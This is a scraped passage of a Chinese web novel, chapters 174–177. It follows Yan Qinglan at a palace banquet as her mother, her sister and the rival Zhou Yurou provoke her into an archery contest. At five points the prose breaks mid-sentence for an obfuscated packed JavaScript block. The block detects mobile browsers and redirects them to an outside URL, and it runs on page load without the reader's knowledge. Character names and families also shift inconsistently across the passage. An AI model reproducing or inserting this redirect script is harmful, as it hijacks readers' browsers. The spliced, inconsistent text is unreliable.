晏子晏在女眷席中扫了一眼,看到晏清澜安然无恙地坐在那里,才放下心来,往男宾席走去。 女眷这边,气氛有些微妙。 钱雅芝自然察觉到了。 她身旁一位相熟的夫人,轻轻拽了拽她的袖子。 “你看那边。” 那位夫人示意钱雅芝往晏清澜的方向看。 钱雅芝顺着她的目光看过去,一眼,就看到了人群中格外醒目的晏清澜。 那一瞬间,钱雅芝只觉得心口像是被什么东西狠狠撞了一下。 她脸色煞白,手里的帕子,几乎要被绞烂。 “她……她是谁?”钱雅芝的声音,控制不住地颤抖。钱雅芝,这位当年在汴京城出了名的美人,眼光向来挑剔。 毕竟,她曾是艳压群芳的焦点,而晏明远,也是名动一时的翩翩公子。 可此刻,宋溪溪身旁那抹紫色的身影,却让钱雅芝的心跳都漏了一拍。 那女子美得惊心动魄,却无半分妖娆,反倒透着一股清冷,让人不敢直视。 美则美矣,只是……这样的容貌,怕是难逃红颜祸水的宿命。视线扫过自家女儿,危机感在钱雅芝心中升起。 更让她心慌的是,她那句“这是谁家的姑娘”一出口,周围人的反应。 那些夫人、小姐们,看她的眼神那叫一个微妙。 尤其是先前与她搭话的美妇人,直接愣在原地,嘴巴张了张,想说什么又没说出口。 钱雅芝被这气氛弄得心里发毛。 “你……你不认得自己的女儿了?”美妇人终于找回了自己的声音,艰涩地开口,脸上火辣辣地烫。 “那是你家四姑娘,晏清澜啊!” 这句话像一记闷锤,狠狠砸在钱雅芝心头。 她整个人都懵了,像是被人点了穴,僵在那里动弹不得。 仿佛过了一个世纪那么久,钱雅芝才缓缓转过头,看向晏清澜。 视线交汇。 晏清澜的眼神,平静无波,像一面镜子,映不出任何情绪。 她只是淡淡地扫了钱雅芝一眼,便移开了目光,仿佛看的只是一个无关紧要的陌生人。 可钱雅芝却感觉自己像是被扒光了衣服,扔在了冰天雪地里。 还是晏玥玥,死死地掐住她的胳膊,尖锐的指甲几乎要刺破她的皮肤。 这阵剧痛,才把钱雅芝从混沌中拉了回来。 众目睽睽之下,晏玥玥自然不会失态。 可她的眼睛,却像是淬了毒的**,狠狠地剜向晏清澜和宋溪溪。 那身云锦缎,像一根刺,扎在她心里。 那是她的! 明明说好是她的! 凭什么穿在她们身上! 阳光下,那料子闪着细碎的光,美得让人移不开眼。 上面的绣花,更是精美绝伦,将晏清澜和宋溪溪衬托得如同画中仙。 可这些,本该属于她! 钱雅芝张了张嘴,想说些什么,却发现喉咙像是被堵住了一样,一个字也说不出来。 她只能僵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111181|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬地扯出一个比哭还难看的笑容,算是回应了好友。 同席的夫人们心领神会地交换了一个眼神,心中了然。 看来,这晏夫人和四姑娘的关系,可真是…… 但凡是个当娘的,怎么会认不出自己的女儿? 这出戏,可真是精彩。 钱雅芝的心里,像是打翻了五味瓶,酸甜苦辣咸,什么滋味都有。 晏清澜貌似狐仙的传言,她不是没听过。 可她一直觉得,那不过是些无聊人的闲言碎语。 她亲生的女儿,她还能不知道? 小时候的晏清澜,面黄肌瘦,跟个丑小鸭似的。 可现在…… 钱雅芝不得不承认,晏清澜真的变了。 变得让她感到陌生,甚至……有些害怕。 她仔细地打量着晏清澜的脸,不得不承认,这张脸,完美地继承了她和晏明远的优点。 可那眉眼间的清冷气质,却更像是……傅清霁。 这样一张脸,若是不说,谁能想到她是庄家的女儿? 这个认知,让钱雅芝很不舒服,甚至有些恼怒。 她死死地攥着手中的帕子,指甲都快把帕子抠烂了。 那眼神,恨不得把晏清澜给生吞活剥了。 晏清澜自然感受到了这道充满恶意的视线。 可她只是微微抬了抬下巴,连一个眼神都懒得给钱雅芝。 晏玥玥见母亲一直盯着晏清澜,气到双眼通红,却又不敢发作。 只能暗暗咬着牙,将所有的不满都吞进肚子里。 晏芸清端起茶杯,轻轻抿了一口,眼神冷漠地扫过钱雅芝和晏玥玥。 她不想在人前表现出和晏清澜的亲近。 倒不是觉得丢人,而是不想成为那些人用来对付晏清澜的棋子。 周雨柔的出现,打破了这边的沉闷。 她一见到晏玥玥,便立刻两眼放光,像一只看到了猎物的猫。 几步并作一步,亲昵地挽住晏玥玥的胳膊。 “玥玥,我的好姐妹,你可算来了!”周雨柔的声音娇滴滴的,能腻**。 但她的眼神,却冷得像冰。 晏玥玥想起前几日,周雨柔曾信誓旦旦地说要给晏清澜一个教训。 她心中一动,面上却不动声色。 “雨柔,我这几日忙得很,都没空去找你玩。 第一百七十四章 ”晏玥玥的声音软软糯糯的,带着几分撒娇的意味。 她状似无意地将目光投向远处的晏清澜,嘴角的笑容甜美又天真。 “对了,给你介绍一下,那是我四姐,你之前应该没见过吧?” 晏玥玥微微嘟起嘴,语气中带着一丝不易察觉的嫉妒。 “我四姐姐啊,生得可美了。平日里素面朝天,就已是绝色。更别说像今天这样精心打扮了……你瞧,这满园子的姑娘,怕是都没她好看。” 周雨柔听着这话,牙齿咬得咯咯作响。 她又不是瞎子,晏清澜的美貌,她看得清清楚楚。 那些关于她不如晏清澜的流言蜚语,已经让她心烦意乱。 如今亲眼见到晏清澜,她只觉得胸口像是压了一块巨石,喘不过气来。 这种感觉,比被人拿来比较更让她难受。 因为她发现,自己根本没有和晏清澜比较的资格。 周雨柔深吸一口气,努力平复着心中的怒火。 她转过头,看着晏玥玥,脸上挤出一个笑容。 “玥玥,既然是你姐姐,那咱们可得去打个招呼。你说呢?” 晏玥玥等的就是这句话。 她微微垂下眼帘,声音低低的,带着几分委屈。 “好是好,只是……我四姐姐她,好像不太喜欢我。我怕她……” 没等晏玥玥说完,周雨柔便冷哼一声,打断了她的话。 “怕什么?她还能吃了你不成?走,咱们过去!”周雨柔眼中闪过一丝狠厉。 声音却变得更甜腻了,“我们去会会这位名动汴京的庄四小姐!” 说完,她拉着晏玥玥,朝晏清澜走去。 周雨柔莲步轻移,缓缓走到了晏清澜身前不远处。 她微微欠身,行了个礼,笑容甜得像是能掐出水来。 “这位想必就是晏四姑娘吧?久仰芳名,今日一见,果然是闻名不如见面。” 她顿了顿,故作惊讶地捂住了嘴,眼神却直勾勾地盯着晏清澜。 “哎呀,瞧我这笨嘴,竟不知该如何形容四姑娘的美貌了。” “要我说,四姑娘这容貌,可比那望月楼的芷若姑娘,还要胜出几分呢。” 她口中的芷若,是汴京最有名的风月场所望月楼的花魁。“四姐姐,临昌伯府的大小姐来着,李三姑娘周雨柔。” 晏玥玥脸上挂着甜甜的笑,主动上前,亲昵地想去挽晏清澜的胳膊。 晏清澜不着痕迹地侧身避开,没让她碰到。 这个动作让晏玥玥嘴角的弧度微微一僵,但她很快掩饰过去,仿佛刚才的小插曲全然没发生过。 “李三姑娘,幸会。”晏清澜淡淡开口,嗓音里听不出喜怒。 她没理会晏玥玥的小动作,只是抬眸,细细打量着眼前的周雨柔。 视线扫过她平平无奇的五官,最终停留在她紧攥着的、微微泛白的手指上。 晏清澜心下了然。 晏芸清给的那本小册子,果真没写错。 这位李三姑娘,看起来性格开朗豪爽,实则…… 不过初次见面,竟把她当成了风尘女子。 这般自卑又爱挑事,往后有戏看了。 思及此,晏清澜唇角微勾,漾起一抹纯真无邪的笑。 她“啊”了一声,故作惊讶地睁大了眼睛,转头看向身旁的晏玥玥。 眼神清澈得像刚出生的小鹿,语气里满是不解: “芷若姑娘?那是谁?我怎么从未听过?跟李三姑娘是一家人吧?” 话音刚落, 四下里顿时响起一阵压抑的低笑。 贵女们纷纷掩唇,用帕子遮住上扬的嘴角。 也有那忍不住的,肩膀微微颤抖,发出细碎的笑声。 晏玥玥脸上的笑容彻底挂不住了,白皙的面皮涨得通红。 像是被人当众狠狠扇了一巴掌。 周雨柔更是气得脸色铁青,额角的青筋都隐隐跳动。 她死死盯着晏清澜,眼神像是淬了毒的刀子,恨不得将她千刀万剐。 这个不知从哪里冒出来的野丫头,竟然敢当众羞辱她! 把她和那种**的妓子相提并论? 简直是……是可忍孰不可忍! 周雨柔紧咬着后槽牙,指甲深深掐入手心,强迫自己冷静下来。 她深吸一口气,努力扯出一抹僵硬的笑容: “晏四姑娘说笑了,我……我怎么会认识那种地方的人。” “只是听说那位芷若姑娘生得极美,又见四姑娘这般……明艳动人,一时口快罢了。” 她顿了顿,飞快地补充道: “四姑娘可千万别往心里去。” “哦?是吗?” 晏清澜歪了歪头,似乎真的信了她的话。 “可我瞧着,李三姑娘似乎很生气呢。” 她眨了眨眼,一脸无辜地望着周雨柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111182|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 仿佛真的只是好奇,并没有别的意思。 周雨柔:“……” 她只觉得胸口一阵气血翻涌,差点没当场吐出一口老血。 这个晏清澜, 是真傻还是装傻? 她难道听不出,自己是在讽刺她吗? 就在这时, 宋溪溪冷不丁地开口了: “这耳听为虚,眼见为实。李姑娘往后还是谨言慎行的好,莫要道听途说,坏了自家名声。” 她端起茶盏,轻轻吹了吹,语气淡淡的,却带着不容置疑的威慑。 “我从前在临川时,也曾听人说起,某位贵女如何爽利大方,如何才貌双全。” “结果呢?” 宋溪溪嗤笑一声, “等我真正见到那位贵女时,才发现,传言不过是传言,当不得真。” “那位贵女,除了嘴皮子利索些,旁的,可真真是一无是处,小家子气得很!” 她放下茶盏,抬眸看向周雨柔,似笑非笑: “李姑娘,你说是不是?” 宋溪溪这番话, 可谓是字字诛心。 她可不是好惹的。 先前没听明白也就罢了, 如今听明白了,还当她宋溪溪是死的? 敢当着她的面,欺负她护着的阿清姐姐? 真是不知死活! 周雨柔被怼得脸色一阵红一阵白,嘴唇哆嗦着,却一句话也说不出来。 她又气又恼,偏偏又不敢反驳。 毕竟,镇国大将军府的嫡长女,她可惹不起。 一时之间,气氛凝滞, 压抑得令人喘不过气。 晏玥玥见状,连忙想说些什么来缓和气氛。 可她还没来得及开口,就听见周雨柔冷哼一声。 “陆大小姐说的是,往后我定会谨言慎行。” 周雨柔咬着牙,一个字一个字地往外蹦, “不过,有些话,也得分场合说,不是什么阿猫阿狗,都有资格来教训我的。” 她眼神轻蔑地扫过晏清澜, 显然,这话是冲着晏清澜说的。 晏玥玥见状,心下暗喜。 她正愁找不到机会反击呢, 这周雨柔倒是自己撞上来了。 于是,她也跟着帮腔: “就是,有些人,也不看看自己是什么身份,就敢对旁人指手画脚。 第一百七十五章 ” “真以为自己是什么了不起的人物了?” 宋溪溪听了,脸色顿时沉了下来。 她正要开口反驳,却被晏清澜轻轻拉住了。 晏清澜朝她摇了摇头,示意她稍安勿躁。 然后,她抬起头,看向周雨柔, 脸上依旧带着那抹纯真无邪的笑容: “李三姑娘这话,是在说我吗?” “我不过是问了问芷若姑娘是谁,怎么就成了教训你了?” “难不成,李三姑娘真的认识那位芷若姑娘?” 她眨了眨眼,一脸好奇地望着周雨柔, 仿佛真的只是想知道答案。 周雨柔被她问得哑口无言。 她总不能当着这么多人的面,承认自己认识一个妓子吧? 可若是不承认,岂不是又落了晏清澜的圈套? 这个晏清澜,果然不是个省油的灯! 周雨柔气得浑身发抖, 却又无可奈何。 她只能强压下心头的怒火, 咬牙切齿地说道: “晏四姑娘,你……你不要胡搅蛮缠!” “我……我根本不认识什么芷若姑娘!” 晏清澜闻言, “哦”了一声, 似乎有些失望。 “这样啊……” 她垂下眼帘, 似乎有些失落。 “我还以为,李三姑娘会认识什么了不起的人物呢。” “原来,也不过如此。” 说完,她抬起头,看向宋溪溪, 笑着说道: “溪溪,咱们走吧,别跟她们浪费时间了。” 宋溪溪闻言, 立刻起身, 挽着晏清澜的胳膊, 朝另一边走去。 经过周雨柔身边时, 她还故意轻哼了一声, 以示不屑。 周雨柔被她们气得七窍生烟, 却又不敢发作。 她只能眼睁睁地看着她们离开, 然后, 狠狠地瞪了晏玥玥一眼。 都怪这个蠢货! 若不是她多嘴, 自己又怎么会落得如此下场? 晏玥玥被她瞪得莫名其妙, 心里也有些委屈。 明明是周雨柔自己要找晏清澜的麻烦, 怎么到头来, 反倒怪起她来了? 真是…… 不过, 她可不敢跟周雨柔顶嘴。 毕竟, 周雨柔的身份摆在那里, 她可惹不起。 于是, 她只能默默地低下头, 装作什么也没看见。 另一边,晏清澜和宋溪溪走到一处僻静的角落。 宋溪溪这才忍不住笑出声来: “阿清,你可真是太厉害了!” “三言两语,就把那个周雨柔气得半死!” “我看她以后还敢不敢再来找你的麻烦!” 晏清澜闻言, 也忍不住笑了。 “我不过是实话实说罢了。” 她耸了耸肩, 一脸无辜。 “谁让她自己要往枪口上撞呢?” 宋溪溪笑着点了点头, “你说的对,像她这种人,就该好好治治!” “不过,阿清,你这次进宫,到底是以什么身份啊?” 她突然想起周雨柔之前问的问题, 忍不住好奇地问道。 晏清澜闻言, 神秘一笑: “等到了宫里,你不就知道了?” 她故意卖了个关子, 没有直接回答。 宋溪溪见状, 也不再追问。 她知道,晏清澜既然这么说, 肯定有她的道理。 于是, 她点了点头, “好,那我就等着看好戏了。” 说完, 两人相视一笑, 一切尽在不言中。 另一边厢,帝后二人也注意到了这边的动静。 褚皇后微微蹙眉,看向景元帝: “陛下,这晏四姑娘,似乎有些……不简单啊。” 景元帝闻言, 点了点头, “朕也看出来了。” “不过,这也不是什么坏事。” “她越是不简单,就越能证明,她有能力保护瑾儿。” 褚皇后闻言, 也觉得有道理。 “陛下说的是。” “不过,臣妾瞧着,五公主似乎对她格外亲近,这又是为何?” 景元帝沉吟片刻, “朕也不知。” “不过,清韵这孩子,向来有自己的主意。” “她既然这么做,肯定有她的道理。” “咱们静观其变便是。” 褚皇后点了点头, “也只能如此了。” 于是, 两人便不再多言, 继续观看宴会上的情形。 在场众人, 见五公主对晏清澜和宋溪溪如此亲近, 心中也都是各有思量。 有些原本对晏清澜不以为然的人, 此刻也开始重新审视起她来。 毕竟, 能得到五公主的青睐, 可不是一件容易的事。 而那些原本就对晏清澜心存嫉恨的人, 此刻更是恨得牙痒痒。 她们怎么也想不明白, 晏清澜这个乡下来的野丫头, 到底有什么本事, 能让这么多人对她另眼相看? 难道, 就因为她救了八皇子? 可那又如何? 八皇子再受宠, 也不过是个孩子罢了。 等他长大成人, 还不知道是什么情形呢。 她们就不信, 晏清澜能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123616|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直这么好运! 就在众人各怀心思的时候, 外头突然传来一阵喧哗声。 紧接着, 就见一名太监匆匆跑了进来, 跪倒在地, 禀报道: “启禀皇上,皇后娘娘,八皇子殿下和五公主殿下到了。” 景元帝闻言, 微微一笑, “宣。” “是。” 太监应了一声, 连忙起身, 朝外头喊道: “宣八皇子、五公主觐见——” 话音刚落, 就见八皇子韩瑾和五公主韩清韵, 一前一后, 走了进来。 韩瑾年纪虽小, 却也知道今日的场合不同寻常。 他规规矩矩地走到景元帝面前, 跪地行礼: “儿臣参见父皇,母后,父皇万岁万岁万万岁,母后千岁千岁千千岁。” 五公主也跟着行礼: “儿臣参见父皇,母后。” 景元帝笑着点了点头, “平身吧。” “谢父皇。” 韩瑾和韩清韵谢了恩, 这才起身, 站到一旁。 景元帝看向韩瑾, 温和地问道: “瑾儿,今日怎么来迟了?” 韩瑾闻言, 连忙解释道: “回父皇,儿臣和五皇姐在芳华园玩耍,一时忘了时辰,还请父皇恕罪。” 景元帝听了, 哈哈一笑, “无妨,小孩子贪玩,也是常有的事。” “下次注意便是。” “是,儿臣谨记父皇教诲。” 韩瑾乖巧地应道。 景元帝又看向五公主, “清韵,你呢?怎么也跟着瑾儿一起胡闹?” 五公主闻言, 连忙解释道: “回父皇,儿臣是陪着八皇弟一起玩耍的。” “儿臣见八皇弟玩得高兴,便没有打扰他。” 景元帝听了, 点了点头, “原来如此。” “你倒是懂事。” “不过,下次可不能再这样了。” “是,儿臣谨记父皇教诲。” 五公主也乖巧地应道。 景元帝见他们都认了错, 便不再多说什么。 他转过头, 看向在场众人, 朗声说道: “今日是家宴,众卿不必拘礼,尽情享用便是。” “朕与皇后,也想与民同乐。” 众人闻言, 连忙起身, 谢恩道: “谢皇上隆恩!” 然后, 便纷纷入座, 开始享用美食。 景元帝和褚皇后, 也象征性地吃了几口菜, 喝了几杯酒。 第一百七十六章 然后, 便开始与众人闲聊起来。 席间, 景元帝还特意问起了晏清澜和宋溪溪的近况。 晏清澜和宋溪溪, 都一一作答。 她们的回答, 都十分得体, 既不失礼, 也不过分谦卑。 景元帝听了, 很是满意。 他笑着点了点头, “不错,不错。” “你们两个,都是好孩子。” “往后,可要好好相处,互相扶持。” “是,臣女谨遵皇上教诲。” 晏清澜和宋溪溪, 齐声应道。 景元帝又看向五公主, “清韵,你与晏四姑娘和陆大小姐,也是相识一场。” “往后,可要多加亲近才是。” 五公主闻言, 笑着点了点头, “父皇放心,儿臣会的。” 她看向晏清澜和宋溪溪, 眼神中, 带着几分真诚的笑意。 晏清澜和宋溪溪, 也朝她笑了笑。 三人的目光, 在空中交汇, 一切尽在不言中。 在场众人见状, 心中更是各有思量。 他们怎么也想不明白, 五公主为何会对晏清澜和宋溪溪如此另眼相看。 难道, 这其中, 真的有什么不为人知的秘密? 他们纷纷猜测着, 却又不敢轻易下结论。 毕竟, 这涉及到皇家之事, 可不是他们能够随便议论的。人群熙攘,窃窃私语声如蚊蚋,嗡嗡作响。钱雅芝、晏玥玥和周雨柔三人,立于其间,却似被无形的屏障隔绝。 钱雅芝的视线,在五公主与晏清澜之间来回逡巡,像淬了毒的箭。她不敢怨恨公主,只能拿晏清澜当靶子。 身旁,晏玥玥紧咬下唇,指甲几乎掐进肉里。那方精致的丝帕,早已被她揉成不成样子的一团。她向来自诩才貌双全,可五公主却对她视而不见,独独对晏清澜青眼有加,这口气,她怎么咽得下? 果然,都是见人下菜碟!什么清高孤傲的公主,还不是一样势利眼? 周雨柔更是怒火中烧。她本就憋着一肚子火,眼下更是火上浇油。 宴席散去,众人纷纷移步芳华园。周雨柔再也按捺不住,她一把拉过晏玥玥,几步走到晏清澜面前。 “晏四姑娘,”周雨柔脸上堆着笑,语气却咄咄逼人,“早就听说你武艺了得,我一直想找个机会跟你讨教讨教。” 她顿了顿,又补充道: “我跟玥玥是好姐妹,你既然是她姐姐,总不会不给我这个面子吧?” 这话,看似客气,实则绵里藏针。 晏清澜只是笑,眼神清凌凌的,像一眼能望到底的泉水。 周遭,无数双眼睛,或明或暗地盯着她们。 苏府的几位公子,燕王韩承煜,还有那些个等着看热闹的,都屏息凝神,等着好戏开锣。 宋明澜微微挑眉,神色依旧淡淡的,只是眼底飞快地闪过一丝玩味。 他早就料到,这朝宴不会太平静。总有那么些人,不惹出点事来,就浑身不舒坦。 “周雨柔,你别太过分!”晏子晏“腾”地一下站起来,像只被踩了尾巴的猫。 他指着周雨柔的鼻子,大声嚷嚷: “要比箭是吧?行啊,小爷我奉陪到底!” 晏子晏平日里最是护短,尤其见不得自家姐妹受欺负。 他一边说,一边朝晏清澜猛使眼色: “四妹妹,你别怕,有四哥在呢!” 众人见状,皆是一愣。 这晏四公子,也太护着他这妹妹了吧? 再看晏清澜,肤白貌美,哪里有半点需要人保护的样子? 晏玥玥见晏子晏这般护着晏清澜,心里更不是滋味。 她忍不住小声嘟囔: “四哥,你别这么紧张嘛,我们只是闹着玩……” 话还没说完,就被晏子晏一眼瞪了回去。 晏景文依旧不动声色。他虽不喜晏清澜,却也不愿见她被周雨柔欺负了去。 他想了想,还是决定静观其变。 晏远舟则暗中观察着宋明澜的反应。 宋明澜依旧是那副事不关己的模样,让人猜不透他的心思。 晏远舟微微皱眉,心里琢磨着:难道宋明澜也想看看晏清澜的本事? 他心里有了计较,便也按兵不动。 “老四,你给我坐下!”晏雨珩一把拉住晏子晏,语气严厉,“姑娘家之间的事,你一个大男人瞎掺和什么?” 晏雨珩平日里虽与晏子晏不对付,但关键时刻,还是向着自家兄弟的。 他瞥了一眼周雨柔,接着说道: “李姑娘又不是外人,还能真伤了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123617|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿清不成?” 他这话,明着是训斥晏子晏,实则是在给周雨柔撑腰。 晏雨珩心里清楚,周雨柔的箭术,可不是闹着玩的。他巴不得周雨柔给晏清澜点颜色瞧瞧,好让她收敛收敛那嚣张的性子。 他甚至有些迁怒陆家,在他看来,陆家不闻不问,简直纵容晏清澜。 钱雅芝在一旁看着,心里乐开了花。 她巴不得周雨柔把晏清澜射成个筛子,这样她就有借口把晏清澜接回府里,好好“调教”一番了。 晏清澜将众人的反应尽收眼底,她微微一笑,并未直接回应周雨柔的挑衅,而是转头看向晏玥玥: “玥玥,这位李小姐玩弓箭贼溜,真的很厉害吗?” 晏玥玥见晏清澜主动跟自己搭话,顿时来了精神。 她得意洋洋地挽住周雨柔的胳膊,炫耀道: “那是当然!雨柔可是咱们京城里数一数二的女中豪杰,尤其是箭术,百步穿杨,例无虚发!” 她这话,倒也不全是吹嘘。周雨柔的箭术,的确是远近闻名的。 “哦?”晏清澜挑了挑眉,又转头看向身旁一个穿粉色衣裙的姑娘,轻声问道,“这位姐姐,当真如此?” 那粉衣姑娘被晏清澜这么一看,顿时红了脸,她结结巴巴地说道: “是……是啊,李小姐玩弓箭贼溜,的确很厉害……” 晏清澜听了,这才笑眯眯地看向周雨柔: “既然如此,那我就更不能跟李小姐比试了。” 她摊了摊手,一脸无奈: “不瞒你说,我的箭术,实在是不怎么样。平常练习射击,十次里头倒有八次是射不中的,这要是跟你比,岂不是自取其辱?” 她这话,说得那叫一个理直气壮,就好像她真的箭术很差似的。 宋明澜和宋溪溪对视一眼,都从对方眼中看到了无奈。 这丫头,又开始睁眼说瞎话了! 周雨柔见晏清澜这般“谦虚”,反倒不好再逼迫她。 她只得耐着性子说道: “晏四姑娘不必过谦,咱们只是切磋切磋,又不是生死决斗,点到为止即可。” 她这话,看似大度,实则步步紧逼。 高台上,童玄珏饶有兴致地看着这一幕,嘴角微微上扬。 舒临风则百无聊赖地打了个哈欠: “这有什么好看的?还不如回去睡觉呢!” 姚澜却摇了摇头: “好戏才刚刚开始,急什么? 第一百七十七章 ”“李小姐盛情,却之不恭。”晏清澜眼波流转,轻咬下唇,做出一副勉为其难的样子。 她纤细的手指轻轻绞着一方绣帕,声音也细若蚊蝇: “只是,比试总得有个章程,不知李小姐,打算如何比试?” 周雨柔看似随意地拢了拢鬓边的碎发,实则眼角的余光一直注意着晏清澜。 她语气淡淡的,像是随口一问: “四姑娘懂骑术否?” 话里,带着一丝不易察觉的试探。 晏清澜像是没听出她话里的深意,老老实实地回答: “略知一二。” 声音里,听不出喜怒。 “四姐被厉将军收为义女,哪能不会骑马呢?” 晏玥玥突然娇笑着插话,声音甜得发腻。 她亲昵地挽住周雨柔的胳膊,语气中带着几分嗔怪: “雨柔,你也太小瞧四姐姐了。” 这话,看似在帮晏清澜说话,实则,却将她架到了一个更高的位置。 若是晏清澜等会儿表现不好,只会摔得更惨。 晏清澜余光瞥见晏玥玥眼中一闪而逝的得意,心中冷笑。 这位好妹妹,还真是迫不及待想看她出丑啊。 只可惜,她的小心思,在场的人怕是都看在眼里呢。 瞧瞧那些贵女们,一个个眼神闪烁,交换着心照不宣的笑意。 呵,当真是“姐妹情深”啊。 周雨柔听晏清澜承认会骑马,嘴角的弧度更大了些。 她顺势提出:“不如,我们就比骑射,以射中马场上的凤眼靶为准。” 皇宫里有马场,这是众所周知的事情。 平日里,皇子公主们闲来无事,也会在那儿比试玩乐。 晏清澜轻轻“嗯”了一声,算是应下了。 她秀眉微蹙,脸上露出几分为难的神色,欲言又止。 “只是……”她顿了顿,声音低了下去,“我箭术不佳……” 她抬起眼眸,看向周雨柔,眼神中带着几分歉意: “万一,不小心伤着了李小姐,我这心里,可就过意不去了。” 周雨柔看着晏清澜那娇弱的模样,心中越发笃定。 她暗自冷笑,就凭晏清澜这手无缚鸡之力的样子,也想伤她? 简直是痴人说梦! 不过,面上她还是维持着得体的笑容,语气温和: “庄四小姐不必担忧,你伤不着我。” 她微微抬起下巴,眼神中流露出几分自信和骄傲。 “不过……”她话锋一转,语气变得意味深长,“弓箭无眼,若是我不小心伤着了你,你可别怪我。” 这话,听起来像是关心,实则,却暗藏玄机。 不等晏清澜开口,晏玥玥又抢先一步,笑眯眯地说道: “当然不会,我们四姐姐,可不是那么小气的人。” 她转头看向晏清澜,笑容甜美,语气亲昵: “四姐姐,你说是不是?” 晏清澜看着晏玥玥那张虚伪的笑脸,心中冷哼。 她还没来得及说话,就听见宋溪溪冷哼一声: “有意思,怎么听着,好像阿清姐姐要是计较,反倒是她不对了?” 宋溪溪毫不客气地翻了个白眼,直接将晏玥玥话里的陷阱给挑明了。 晏玥玥脸上的笑容顿时僵住,像是被人狠狠打了一巴掌,火辣辣的疼。 晏清澜见状,伸手轻轻拍了拍宋溪溪的手背,以示安抚。 她没有说话,但这个动作,已经表明了她的态度。 她,是站在宋溪溪这边的。 这下,在场的人还有什么不明白的? 庄家姐妹不和,这事儿,怕是已经摆到了明面上。 不过,晏清澜初来乍到,在汴京城的贵女圈子里还没什么根基。 而晏玥玥,却早已是出了名的才女,人缘极好。 大家虽然不会明着站队,但心里,多多少少还是偏向晏玥玥的。 毕竟,多个朋友多条路,谁愿意为了一个刚认识的人,得罪一个交际广泛的“朋友”呢? 钱雅芝见气氛有些尴尬,连忙出来打圆场,笑着说道: “说起来,咱们也好久没见过女子比试骑射了,这次,你们两个可要好好表现。” 她这话,看似在鼓励两人,实则,还是在维护晏玥玥。 晏清澜看着钱雅芝那副护犊子的模样,差点没笑出声来。 这位晏夫人,还真是生怕她欺负了晏玥玥似的。 就在这时,一道低沉冰冷的声音突然响起,打破了这微妙的氛围。 “没有彩头的比试,多没意思。” 童玄珏不知何时出现在了人群外围,他身着一袭玄色长袍,脸上戴着一张狰狞的鬼面具, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124955|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让人看不清他的表情。 他的声音,像是寒冬腊月里的冰碴子,冷得让人发颤。 原本还算热闹的场面,瞬间安静下来。 一群豪门贵胄和名媛闺秀,一个个都低垂着头,恨不得把自己缩成一团,生怕被童玄珏注意到。 童玄珏的出现,就像是一块巨石投入了平静的湖面,激起了层层涟漪。 众人心中都打起了鼓,猜测着他突然出现的用意。 他那句“没有彩头”,更是让大家心里七上八下。 这位喜怒无常的燕王殿下,到底想做什么? 难道……他是想借机生事? 众人偷偷打量着晏清澜和周雨柔,心里猜测着,她们两人,谁会成为童玄珏的目标。 周雨柔箭术高超,这是众所周知的事情。 可她平日里虽然性子高傲了些,却也从没听说过她得罪过燕王。 若说得罪…… 众人的目光,不约而同地落在了晏清澜身上。 她那张过于美丽的脸,在这以端庄贤淑为美的汴京城,显得格格不入。 更何况,她还是厉将军的义女,身份特殊。 再加上,燕王殿下向来喜怒无常,行事乖张…… 想到这里,众人看向晏清澜的眼神中,不由得带了几分同情。 这位庄四小姐,怕是要倒霉了。 童玄珏的目光在人群中扫了一圈,最后,落在了韩承煜身上。 